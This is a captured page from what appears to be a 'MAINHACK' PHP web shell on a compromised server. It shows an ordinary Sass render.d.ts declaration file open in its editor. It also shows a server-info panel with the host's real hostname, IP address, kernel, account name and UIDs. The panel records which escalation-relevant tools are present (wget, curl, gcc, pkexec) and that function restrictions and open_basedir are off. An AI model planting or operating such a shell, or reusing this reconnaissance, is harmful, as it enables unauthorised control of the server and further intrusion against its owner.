[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: render.d.ts
import {LegacyException} from './exception'; import {LegacyOptions} from './options'; /** * The object returned by [[render]] and [[renderSync]] after a successful * compilation. * * @category Legacy * @deprecated This is only used by the legacy [[render]] and [[renderSync]] * APIs. Use [[compile]], [[compileString]], [[compileAsync]], and * [[compileStringAsync]] instead. */ export interface LegacyResult { /** * The compiled CSS. This can be converted to a string by calling * [Buffer.toString](https://nodejs.org/api/buffer.html#buffer_buf_tostring_encoding_start_end). * * @example * * ```js * const result = sass.renderSync({file: "style.scss"}); * * console.log(result.css.toString()); * ``` */ css: Buffer; /** * The source map that maps the compiled CSS to the source files from which it * was generated. This can be converted to a string by calling * [Buffer.toString](https://nodejs.org/api/buffer.html#buffer_buf_tostring_encoding_start_end). * * This is `undefined` unless either * * * [[LegacySharedOptions.sourceMap]] is a string; or * * [[LegacySharedOptions.sourceMap]] is `true` and * [[LegacySharedOptions.outFile]] is set. * * The source map uses absolute [`file:` * URLs](https://en.wikipedia.org/wiki/File_URI_scheme) to link to the Sass * source files, except if the source file comes from * [[LegacyStringOptions.data]] in which case it lists its URL as `"stdin"`. * * @example * * ```js * const result = sass.renderSync({ * file: "style.scss", * sourceMap: true, * outFile: "style.css" * }) * * console.log(result.map.toString()); * ``` */ map?: Buffer; /** Additional information about the compilation. */ stats: { /** * The absolute path of [[LegacyFileOptions.file]] or * [[LegacyStringOptions.file]], or `"data"` if [[LegacyStringOptions.file]] * wasn't set. */ entry: string; /** * The number of milliseconds between 1 January 1970 at 00:00:00 UTC and the * time at which Sass compilation began. */ start: number; /** * The number of milliseconds between 1 January 1970 at 00:00:00 UTC and the * time at which Sass compilation ended. */ end: number; /** * The number of milliseconds it took to compile the Sass file. This is * always equal to `start` minus `end`. */ duration: number; /** * An array of the absolute paths of all Sass files loaded during * compilation. If a stylesheet was loaded from a [[LegacyImporter]] that * returned the stylesheet’s contents, the raw string of the `@use` or * `@import` that loaded that stylesheet included in this array. */ includedFiles: string[]; }; } /** * This function synchronously compiles a Sass file to CSS. If it succeeds, it * returns the result, and if it fails it throws an error. * * @example * * ```js * const sass = require('sass'); // or require('node-sass'); * * const result = sass.renderSync({file: "style.scss"}); * // ... * ``` * * @category Legacy * @deprecated Use [[compile]] or [[compileString]] instead. */ export function renderSync(options: LegacyOptions<'sync'>): LegacyResult; /** * This function asynchronously compiles a Sass file to CSS, and calls * `callback` with a [[LegacyResult]] if compilation succeeds or * [[LegacyException]] if it fails. * * **Heads up!** When using Dart Sass, **[[renderSync]] is almost twice as fast * as [[render]]** by default, due to the overhead of making the entire * evaluation process asynchronous. * * ```js * const sass = require('sass'); // or require('node-sass'); * * sass.render({ * file: "style.scss" * }, function(err, result) { * // ... * }); * ``` * * @category Legacy * @deprecated Use [[compileAsync]] or [[compileStringAsync]] instead. */ export function render( options: LegacyOptions<'async'>, callback: (exception?: LegacyException, result?: LegacyResult) => void ): void;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002